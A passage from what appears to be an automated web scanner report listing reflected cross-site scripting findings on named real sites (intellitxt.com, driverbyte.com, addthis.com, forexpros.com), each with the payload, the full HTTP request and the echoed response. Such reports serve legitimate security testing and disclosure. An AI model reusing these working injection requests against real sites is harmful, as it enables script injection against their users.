User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AIAAAEt7DS2iwA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt9+zoqAA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 22:24:14 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt9+zoqAA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 22:24:14 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 22:24:14 GMT
Connection: close
Content-Length: 10714

document.itxtDisabled=1;
document.itxtDebugOn=false;
if(document.itxtDisabled){
document.itxtInProg=1;
if ('undefined'== typeof $iTXT){$iTXT={};};if (!$iTXT.cnst){$iTXT.cnst={};} if (!$iTXT.debug){$iT
...[SNIP]...
;_qoptions={tags:"721.8541.18400"};_qacct="p-fdwEfW0hIeH9U";$iTXT.js.load("http://edge.quantserve.com/quant.js");$iTXT.js.serverUrl='http://download32.us.intellitxt.com';$iTXT.js.pageQuery='ipid=18400&24d8b'-alert(1)-'5f3e446269e=1';$iTXT.js.umat=true;$iTXT.js.startTime=(new Date()).getTime();if (document.itxtIsReady) {document.itxtLoadLibraries();};
}

4.38. http://download32.us.intellitxt.com/v4/advert [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/v4/advert

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 11ac3%3balert(1)//b19114a24fd was submitted in the jscallback parameter. This input was echoed as 11ac3;alert(1)//b19114a24fd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/advert?ts=1296942500943&refurl=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html&sid=57f4673cf4ad79544ac753cf0dd004c8&pvu=4E02CE94902A497D8EBF5C1016534811&pvm=8cc57e88ff824e9e3d4bdb25eca56ba9&ipid=18400&cc=us&rcc=us&reg=tx&dma=623&city=Dallas&dat=12%2C6%2C18&jscallback=$iTXT.js.callback1811ac3%3balert(1)//b19114a24fd HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 22:24:31 GMT
Connection: close
Content-Length: 13687

(function(){var nh = new $iTXT.ui.Hook({value: "windows xp",uid: "4CE10DDD0B464E3594F4EBCDDB622BF1",uidh: "b33b1a94dd4778a9dbf40e8a55fbd665",advert: (function(){var ad = new $iTXT.data.Advert('$iTXT.t
...[SNIP]...
track.hook'));$iTXT.glob.track.hook.push(new $iTXT.data.Pixel(19828494,'windows vista','http://pixel.intellitxt.com/pixel.jsp?id=2794&type=script',true,'$iTXT.glob.track.hook'));try{$iTXT.js.callback1811ac3;alert(1)//b19114a24fd();}catch(e){}

4.39. http://download32.us.intellitxt.com/v4/context [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/v4/context

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload be98b%3balert(1)//513baa1609f was submitted in the jscallback parameter. This input was echoed as be98b;alert(1)//513baa1609f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/context?ts=1296942497719&refurl=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html&sid=57f4673cf4ad79544ac753cf0dd004c8&pvu=4E02CE94902A497D8EBF5C1016534811&pvm=8cc57e88ff824e9e3d4bdb25eca56ba9&ipid=18400&cc=us&rcc=us&reg=tx&dma=623&city=Dallas&dat=12%2C6%2C18&pagecl=16914&jsoncl=16099&ppc=-1&hn=96&chunkkey=18400:57f4673cf4ad79544ac753cf0dd004c8:4CD59B7A613C41A19879C8AC98480C80:&data=%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bp%3A1%2Cx%3A%5B%7Bt%3A%22std%22%2Cn%3A1%2Cc%3A%22Interactive%20DNS%20Query%20is%20a%20program%20designed%20to%20allow%20you%20to%20perform%20a%20query%20of%20DNS%20records.%20It%20is%20similar%20to%20the%20unix%20%5C%22dig%5C%22%20or%20%5C%22nslookup%5C%22%20commands%2C%20and%20uses%20a%20convenient%20GUI%20interface.%20Interactive%20DNS%20Query%20allows%20you%20to%20query%20for%20all%20types%20of%20DNS%20records%2C%20including%20A%2C%20MX%2C%20TXT%2C%20NS%2C%20etc.%22%7D%5D%7D%5D%7D%2C%7Bx%3A%5B%7Bx%3A%5B%7Bp%3A1%2Ct%3A%22std%22%2Cn%3A2%2Cc%3A%22522.0%20KB%22%7D%2C%7Bp%3A1%2Ct%3A%22std%22%2Cn%3A3%2Cc%3A%22Freeware%22%7D%2C%7Bp%3A1%2Ct%3A%22std%22%2Cn%3A4%2Cc%3A%22Windows%2095%2C%20Windows%2098%2C%20Windows%20Me%2C%20Windows%20NT%2C%20Windows%20XP%2C%20Windows%202000%22%7D%5D%7D%5D%7D%5D%7D%5D%7D%5D%7D%5D%7D%5D%7D%5D%7D%5D%7D%5D%7D%2C%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bp%3A1%2Cx%3A%5B%7Bt%3A%22std%22%2Cn%3A5%2Cc%3A%22The%20kick'n%20TCP%2FIP%20diagnostic%20toolkit%20-%20cool%20tools%20for%20network%20troubleshooting.%20Includes%20GeoRoute%20(a%20geographical%20trace%20route%20displayed%20on%20a%20world%20map)%2C%20iSpeed%20(an%20Internet%20speed%20tester%20whic&chunk=0&total=17&jscallback=$iTXT.js.callback1be98b%3balert(1)//513baa1609f HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-

Response

4.40. http://download32.us.intellitxt.com/v4/init [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/v4/init

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload bd0eb%3balert(1)//fa6a87ef4aa was submitted in the jscallback parameter. This input was echoed as bd0eb;alert(1)//fa6a87ef4aa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/init?ts=1296942497358&pagecl=16914&fv=10&muid=&refurl=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html&ipid=18400&jscallback=$iTXT.js.callback0bd0eb%3balert(1)//fa6a87ef4aa HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 22:24:21 GMT
Connection: close
Content-Length: 19890

var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h
...[SNIP]...
arams.set('minimagew',180);$iTXT.data.Context.params.set('minimageh',200);$iTXT.data.Context.params.set('intattrs','alt,title,href,src,name');$iTXT.data.Dom.detectSearchEngines();try{$iTXT.js.callback0bd0eb;alert(1)//fa6a87ef4aa({"requiresContextualization":0,"requiresAdverts":1});}catch(e){}

4.41. http://download32.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/v4/init

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7f4db"-alert(1)-"99b36b51f6a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/init?ts=1296942497358&pagecl=16914&fv=10&muid=&refurl=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html&ipid=18400&jscallback=$iTXT.js.callback0&7f4db"-alert(1)-"99b36b51f6a=1 HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 22:24:23 GMT
Connection: close
Content-Length: 19871

var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h
...[SNIP]...
ozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13","REGIONNAME":"Texas","muid":"","city":"Dallas","jscallback":"$iTXT.js.callback0","7f4db"-alert(1)-"99b36b51f6a":"1","reg":"tx","refurl":"http://www.download32.com/nslookup-software.html","rcc":"us","cc":"us"},null,60);var undefined;if(null==$iTXT.glob.params||undefined==$iTXT.glob.params){$iTXT.glob.params=new
...[SNIP]...

4.42. http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://driverbyte.com
Path:	/download-ga-81845gv-gigabyte-vga-driver_freedownload

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2f79e<img%20src%3da%20onerror%3dalert(1)>26b55a1d1b2 was submitted in the REST URL parameter 1. This input was echoed as 2f79e<img src=a onerror=alert(1)>26b55a1d1b2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /download-ga-81845gv-gigabyte-vga-driver_freedownload2f79e<img%20src%3da%20onerror%3dalert(1)>26b55a1d1b2 HTTP/1.1
Host: driverbyte.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:46:58 GMT
Content-Type: text/html
Connection: close
Last-Modified: Sat, 05 Feb 2011 21:46:58 GMT
Expires: Sun, 27 Jul 1997 05:00:00 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: rngine/2.x optimized/cached
Content-Length: 19348

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Download ga 81845
...[SNIP]...
<b>download ga 81845gv gigabyte vga driver2f79e<img src=a onerror=alert(1)>26b55a1d1b2</b>
...[SNIP]...

4.43. http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://driverbyte.com
Path:	/download-ga-81845gv-gigabyte-vga-driver_freedownload

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72968"><img%20src%3da%20onerror%3dalert(1)>a36cb148e37 was submitted in the REST URL parameter 1. This input was echoed as 72968\"><img src=a onerror=alert(1)>a36cb148e37 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /download-ga-81845gv-gigabyte-vga-driver_freedownload72968"><img%20src%3da%20onerror%3dalert(1)>a36cb148e37 HTTP/1.1
Host: driverbyte.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:46:52 GMT
Content-Type: text/html
Connection: close
Last-Modified: Sat, 05 Feb 2011 21:46:52 GMT
Expires: Sun, 27 Jul 1997 05:00:00 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: rngine/2.x optimized/cached
Content-Length: 19317

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Download ga 81845
...[SNIP]...
<meta name="description" content="download ga 81845gv gigabyte vga driver72968\"><img src=a onerror=alert(1)>a36cb148e37 free drivers downloads: GIGABYTE GA-7VA Bios (Rev 2.0) 1.1 and other" />
...[SNIP]...

4.44. http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://driverbyte.com
Path:	/download-ga-81845gv-gigabyte-vga-driver_freedownload

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload b8ed7<img%20src%3da%20onerror%3dalert(1)>ec91bc08206 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b8ed7<img src=a onerror=alert(1)>ec91bc08206 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /download-ga-81845gv-gigabyte-vga-driver_freedownload?b8ed7<img%20src%3da%20onerror%3dalert(1)>ec91bc08206=1 HTTP/1.1
Host: driverbyte.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:46:42 GMT
Content-Type: text/html
Connection: close
Last-Modified: Sat, 05 Feb 2011 21:46:42 GMT
Expires: Sun, 27 Jul 1997 05:00:00 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: rngine/2.x optimized/cached
Content-Length: 19400

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Download ga 81845
...[SNIP]...
<b>download ga 81845gv gigabyte vga driver?b8ed7<img src=a onerror=alert(1)>ec91bc08206=1</b>
...[SNIP]...

4.45. http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://driverbyte.com
Path:	/download-ga-81845gv-gigabyte-vga-driver_freedownload

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3c5e"><img%20src%3da%20onerror%3dalert(1)>e0edaa08961 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a3c5e\"><img src=a onerror=alert(1)>e0edaa08961 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /download-ga-81845gv-gigabyte-vga-driver_freedownload?a3c5e"><img%20src%3da%20onerror%3dalert(1)>e0edaa08961=1 HTTP/1.1
Host: driverbyte.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:46:36 GMT
Content-Type: text/html
Connection: close
Last-Modified: Sat, 05 Feb 2011 21:46:35 GMT
Expires: Sun, 27 Jul 1997 05:00:00 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: rngine/2.x optimized/cached
Content-Length: 19478

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Download ga 81845
...[SNIP]...
<meta name="description" content="download ga 81845gv gigabyte vga driver?a3c5e\"><img src=a onerror=alert(1)>e0edaa08961=1 free drivers downloads: GIGABYTE GA-7VA Bios (Rev 2.0) 1.1 and other" />
...[SNIP]...

4.46. http://ds.addthis.com/red/psi/sites/www.klivio.com/p.json [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.addthis.com
Path:	/red/psi/sites/www.klivio.com/p.json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 7a43e<script>alert(1)</script>9a66bdcec19 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /red/psi/sites/www.klivio.com/p.json?callback=_ate.ad.hpr7a43e<script>alert(1)</script>9a66bdcec19&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.klivio.com%2F%3F34aa6%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Eceac919ade3%3D1&ref=http%3A%2F%2Fburp%2Fshow%2F69&fb5wa3 HTTP/1.1
Host: ds.addthis.com
Proxy-Connection: keep-alive
Referer: http://s7.addthis.com/static/r07/sh31.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1296924137.60|1296659685.66; psc=4; uid=4d1ec56b7612a62c

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Length: 131
Content-Type: text/javascript
Set-Cookie: bt=; Domain=.addthis.com; Expires=Sun, 06 Feb 2011 16:16:53 GMT; Path=/
Set-Cookie: dt=X; Domain=.addthis.com; Expires=Tue, 08 Mar 2011 16:16:53 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA"
Expires: Sun, 06 Feb 2011 16:16:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 06 Feb 2011 16:16:53 GMT
Connection: close

_ate.ad.hpr7a43e<script>alert(1)</script>9a66bdcec19({"urls":[],"segments" : [],"loc": "MjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg=="})

4.47. http://ecal.forexpros.com/e_cal.php [bg1 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ecal.forexpros.com
Path:	/e_cal.php

Issue detail

The value of the bg1 request parameter is copied into the HTML document as plain text between tags. The payload 6b18f<script>alert(1)</script>3e30c6ee661 was submitted in the bg1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF6b18f<script>alert(1)</script>3e30c6ee661&bg2=ECECEC&border=CEDBEB HTTP/1.1
Host: ecal.forexpros.com
Proxy-Connection: keep-alive
Referer: http://dws1.etoro.com/ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:29 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=tc9icm70rmuv839h8bl7m5vf82; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 107178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
...}" TABLE ROWS PROPERTIES (borders, bg-images like importance, plus-minus from the right, etc.)------------------------*/

.ec_bg1_tr, .ec_bg1_tr_slide, .ec_bg1_no_border
{
   background-color:#FFFFFF6b18f<script>alert(1)</script>3e30c6ee661;    height:21px;
}

.ec_bg2_tr, .ec_bg2_tr_slide, .ec_bg2_no_border
{
   background-color:#ECECEC;    height:21px;
}

.ec_bg_highlighted_tr {
   background-color:#FFF497;
}

.ec_bg1_tr_slided
{
   background: url
...[SNIP]...

4.48. http://ecal.forexpros.com/e_cal.php [bg2 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ecal.forexpros.com
Path:	/e_cal.php

Issue detail

The value of the bg2 request parameter is copied into the HTML document as plain text between tags. The payload fa455<script>alert(1)</script>a267106d572 was submitted in the bg2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF&bg2=ECECECfa455<script>alert(1)</script>a267106d572&border=CEDBEB HTTP/1.1
Host: ecal.forexpros.com
Proxy-Connection: keep-alive
Referer: http://dws1.etoro.com/ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:31 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=04hgp28fsh1m3d07dqs1shfcl6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 107178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
tc.)------------------------*/

.ec_bg1_tr, .ec_bg1_tr_slide, .ec_bg1_no_border
{
   background-color:#FFFFFF;    height:21px;
}

.ec_bg2_tr, .ec_bg2_tr_slide, .ec_bg2_no_border
{
   background-color:#ECECECfa455<script>alert(1)</script>a267106d572;    height:21px;
}

.ec_bg_highlighted_tr {
   background-color:#FFF497;
}

.ec_bg1_tr_slided
{
   background: url('http://c1802182.cdn.cloudfiles.rackspacecloud.com/economic_calendar/slided_top_bg.gif') rep
...[SNIP]...

4.49. http://ecal.forexpros.com/e_cal.php [border parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ecal.forexpros.com
Path:	/e_cal.php

Issue detail

The value of the border request parameter is copied into the HTML document as plain text between tags. The payload b277e<script>alert(1)</script>0c9da3d43ac was submitted in the border parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF&bg2=ECECEC&border=CEDBEBb277e<script>alert(1)</script>0c9da3d43ac HTTP/1.1
Host: ecal.forexpros.com
Proxy-Connection: keep-alive
Referer: http://dws1.etoro.com/ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
